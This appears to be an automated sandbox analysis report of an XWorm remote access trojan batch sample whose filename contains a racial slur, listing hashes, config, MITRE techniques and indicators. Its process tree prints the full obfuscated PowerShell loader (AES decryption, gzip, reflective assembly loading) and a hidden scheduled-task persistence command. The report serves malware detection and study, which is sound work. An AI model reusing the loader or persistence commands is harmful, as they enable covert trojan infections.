xworm | c8bbab31f65dcdb8c9345dc14153d64f81b3ec9279b399b3cb5fba3f90a13c72

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
01/06/2024, 08:50

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General

Target
Nigger Antivirus.bat
Size 323KB
Sample240601-krn5wagf97
SHA256 c8bbab31f65dcdb8c9345dc14153d64f81b3ec9279b399b3cb5fba3f90a13c72
MD5 3c82ee4342e97144776d64bdf3a7a9e5
SHA1 982af698261db3b2c1f727ccf47b7e1596320e0b
SHA512 9cc377fc08b45022cd1567107c85125be986414690ba29d8467b13a77333ee1891a24647aed0914783c8a0ebfe626246d3ec96d4a0fa737f42f5b91a648f7b89
SSDEEP 6144:w5eN059nc4XugivtBHzLi4sFiUJX5g1LK8mrUHJBjdzUcAkO6:FNEc4XuJvbHz9sRVi1LvmrUHJBB7A8
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

127.0.0.1:4567

Attributes

Install_directory
%AppData%
install_file
USB.exe

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/5108-49-0x00000199447D0000-0x00000199447FE000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3336	powershell.exe
600	powershell.exe
5108	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Win64.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Win64.lnk	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Win64 = "C:\\Users\\Admin\\AppData\\Roaming\\Win64"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3336	powershell.exe
3336	powershell.exe
600	powershell.exe
600	powershell.exe
5108	powershell.exe
5108	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3336	powershell.exe
Token: SeDebugPrivilege	600	powershell.exe
Token: SeIncreaseQuotaPrivilege	600	powershell.exe
Token: SeSecurityPrivilege	600	powershell.exe
Token: SeTakeOwnershipPrivilege	600	powershell.exe
Token: SeLoadDriverPrivilege	600	powershell.exe
Token: SeSystemProfilePrivilege	600	powershell.exe
Token: SeSystemtimePrivilege	600	powershell.exe
Token: SeProfSingleProcessPrivilege	600	powershell.exe
Token: SeIncBasePriorityPrivilege	600	powershell.exe
Token: SeCreatePagefilePrivilege	600	powershell.exe
Token: SeBackupPrivilege	600	powershell.exe
Token: SeRestorePrivilege	600	powershell.exe
Token: SeShutdownPrivilege	600	powershell.exe
Token: SeDebugPrivilege	600	powershell.exe
Token: SeSystemEnvironmentPrivilege	600	powershell.exe
Token: SeRemoteShutdownPrivilege	600	powershell.exe
Token: SeUndockPrivilege	600	powershell.exe
Token: SeManageVolumePrivilege	600	powershell.exe
Token: 33	600	powershell.exe
Token: 34	600	powershell.exe
Token: 35	600	powershell.exe
Token: 36	600	powershell.exe
Token: SeIncreaseQuotaPrivilege	600	powershell.exe
Token: SeSecurityPrivilege	600	powershell.exe
Token: SeTakeOwnershipPrivilege	600	powershell.exe
Token: SeLoadDriverPrivilege	600	powershell.exe
Token: SeSystemProfilePrivilege	600	powershell.exe
Token: SeSystemtimePrivilege	600	powershell.exe
Token: SeProfSingleProcessPrivilege	600	powershell.exe
Token: SeIncBasePriorityPrivilege	600	powershell.exe
Token: SeCreatePagefilePrivilege	600	powershell.exe
Token: SeBackupPrivilege	600	powershell.exe
Token: SeRestorePrivilege	600	powershell.exe
Token: SeShutdownPrivilege	600	powershell.exe
Token: SeDebugPrivilege	600	powershell.exe
Token: SeSystemEnvironmentPrivilege	600	powershell.exe
Token: SeRemoteShutdownPrivilege	600	powershell.exe
Token: SeUndockPrivilege	600	powershell.exe
Token: SeManageVolumePrivilege	600	powershell.exe
Token: 33	600	powershell.exe
Token: 34	600	powershell.exe
Token: 35	600	powershell.exe
Token: 36	600	powershell.exe
Token: SeIncreaseQuotaPrivilege	600	powershell.exe
Token: SeSecurityPrivilege	600	powershell.exe
Token: SeTakeOwnershipPrivilege	600	powershell.exe
Token: SeLoadDriverPrivilege	600	powershell.exe
Token: SeSystemProfilePrivilege	600	powershell.exe
Token: SeSystemtimePrivilege	600	powershell.exe
Token: SeProfSingleProcessPrivilege	600	powershell.exe
Token: SeIncBasePriorityPrivilege	600	powershell.exe
Token: SeCreatePagefilePrivilege	600	powershell.exe
Token: SeBackupPrivilege	600	powershell.exe
Token: SeRestorePrivilege	600	powershell.exe
Token: SeShutdownPrivilege	600	powershell.exe
Token: SeDebugPrivilege	600	powershell.exe
Token: SeSystemEnvironmentPrivilege	600	powershell.exe
Token: SeRemoteShutdownPrivilege	600	powershell.exe
Token: SeUndockPrivilege	600	powershell.exe
Token: SeManageVolumePrivilege	600	powershell.exe
Token: 33	600	powershell.exe
Token: 34	600	powershell.exe
Token: 35	600	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4952 wrote to memory of 3336	4952	cmd.exe	85
PID 4952 wrote to memory of 3336	4952	cmd.exe	85
PID 3336 wrote to memory of 600	3336	powershell.exe	89
PID 3336 wrote to memory of 600	3336	powershell.exe	89
PID 3336 wrote to memory of 3208	3336	powershell.exe	93
PID 3336 wrote to memory of 3208	3336	powershell.exe	93
PID 3208 wrote to memory of 4888	3208	WScript.exe	94
PID 3208 wrote to memory of 4888	3208	WScript.exe	94
PID 4888 wrote to memory of 5108	4888	cmd.exe	96
PID 4888 wrote to memory of 5108	4888	cmd.exe	96

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Nigger Antivirus.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zfvTp9Td6Uz3dUxncpJKlosvXgD9H0/fkm+3ZY5NZUo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nJMaSPgd1hkwVvB/iXkFKQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SwHVz=New-Object System.IO.MemoryStream(,$param_var); $iWeDS=New-Object System.IO.MemoryStream; $iwTcr=New-Object System.IO.Compression.GZipStream($SwHVz, [IO.Compression.CompressionMode]::Decompress); $iwTcr.CopyTo($iWeDS); $iwTcr.Dispose(); $SwHVz.Dispose(); $iWeDS.Dispose(); $iWeDS.ToArray();}function execute_function($param_var,$param2_var){ $JTcVB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $BLqXs=$JTcVB.EntryPoint; $BLqXs.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Nigger Antivirus.bat';$geghE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Nigger Antivirus.bat').Split([Environment]::NewLine);foreach ($cRSiC in $geghE) { if ($cRSiC.StartsWith(':: ')) { $ngowX=$cRSiC.Substring(3); break; }}$payloads_var=[string[]]$ngowX.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_855_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_855.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:600
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_855.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3208
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_855.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4888
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zfvTp9Td6Uz3dUxncpJKlosvXgD9H0/fkm+3ZY5NZUo='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nJMaSPgd1hkwVvB/iXkFKQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $SwHVz=New-Object System.IO.MemoryStream(,$param_var); $iWeDS=New-Object System.IO.MemoryStream; $iwTcr=New-Object System.IO.Compression.GZipStream($SwHVz, [IO.Compression.CompressionMode]::Decompress); $iwTcr.CopyTo($iWeDS); $iwTcr.Dispose(); $SwHVz.Dispose(); $iWeDS.Dispose(); $iWeDS.ToArray();}function execute_function($param_var,$param2_var){ $JTcVB=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $BLqXs=$JTcVB.EntryPoint; $BLqXs.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_855.bat';$geghE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_855.bat').Split([Environment]::NewLine);foreach ($cRSiC in $geghE) { if ($cRSiC.StartsWith(':: ')) { $ngowX=$cRSiC.Substring(3); break; }}$payloads_var=[string[]]$ngowX.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops startup file
        Adds Run key to start application
        Suspicious behavior: EnumeratesProcesses
        
        PID:5108

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 64c178f2a2edc319c244fa885951e0425ad172e0c9c18d9773069fa13a44385c
MD5 773440cd6eb4e778c7d2115d1f231f75
SHA1 4b600aa41fcd267817961c95b104a0717c40e558
SHA512 af0370eb22d7153b7b71a033f56bc08796a0be9a1aa0f479585e03e099a215114f6ac059cf588999f3be36d91bc38ec64b0695071292db8e324ee7bcd505ee35
MD5 SHA1 SHA512

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__PSScriptPolicyTest_yiwx1tt4.w3x.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_yiwx1tt4.w3x.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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startup_str_855.bat

Path C:\Users\Admin\AppData\Roaming\startup_str_855.bat
Size 323KB
SHA256 c8bbab31f65dcdb8c9345dc14153d64f81b3ec9279b399b3cb5fba3f90a13c72
MD5 3c82ee4342e97144776d64bdf3a7a9e5
SHA1 982af698261db3b2c1f727ccf47b7e1596320e0b
SHA512 9cc377fc08b45022cd1567107c85125be986414690ba29d8467b13a77333ee1891a24647aed0914783c8a0ebfe626246d3ec96d4a0fa737f42f5b91a648f7b89
SSDEEP 6144:w5eN059nc4XugivtBHzLi4sFiUJX5g1LK8mrUHJBjdzUcAkO6:FNEc4XuJvbHz9sRVi1LvmrUHJBB7A8
MD5 SHA1 SHA512 SSDEEP

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startup_str_855.vbs

Path C:\Users\Admin\AppData\Roaming\startup_str_855.vbs
Size 115B
SHA256 3d00f566797545371876fca04ae28621a0da472c95867297e8e07243f2cd3f94
MD5 1221fcafe0ceaaa4fe9f220da88d1245
SHA1 2e450521d90cd050027f5f8db7934e15feb28054
SHA512 dd0489c8682cb7b631b92549629c0614d7b331f5ce40a0c2e3a813b596621b360f5b054b7ca9e4409d998271f3ede05d56e8c1093e185b0497c44b30cc47bb46
MD5 SHA1 SHA512

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memory/600-17-0x00007FFB152E0000-0x00007FFB15DA1000-memory.dmp

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memory/600-16-0x00007FFB152E0000-0x00007FFB15DA1000-memory.dmp

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memory/600-18-0x00007FFB152E0000-0x00007FFB15DA1000-memory.dmp

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memory/600-30-0x00007FFB152E0000-0x00007FFB15DA1000-memory.dmp

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memory/3336-14-0x000001D6BF2C0000-0x000001D6BF2FE000-memory.dmp

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memory/3336-0-0x00007FFB152E3000-0x00007FFB152E5000-memory.dmp

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memory/3336-13-0x000001D6BF2B0000-0x000001D6BF2B8000-memory.dmp

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memory/3336-12-0x00007FFB152E0000-0x00007FFB15DA1000-memory.dmp

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memory/3336-11-0x00007FFB152E0000-0x00007FFB15DA1000-memory.dmp

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memory/3336-6-0x000001D6BF050000-0x000001D6BF072000-memory.dmp

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memory/3336-50-0x00007FFB152E0000-0x00007FFB15DA1000-memory.dmp

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memory/5108-49-0x00000199447D0000-0x00000199447FE000-memory.dmp

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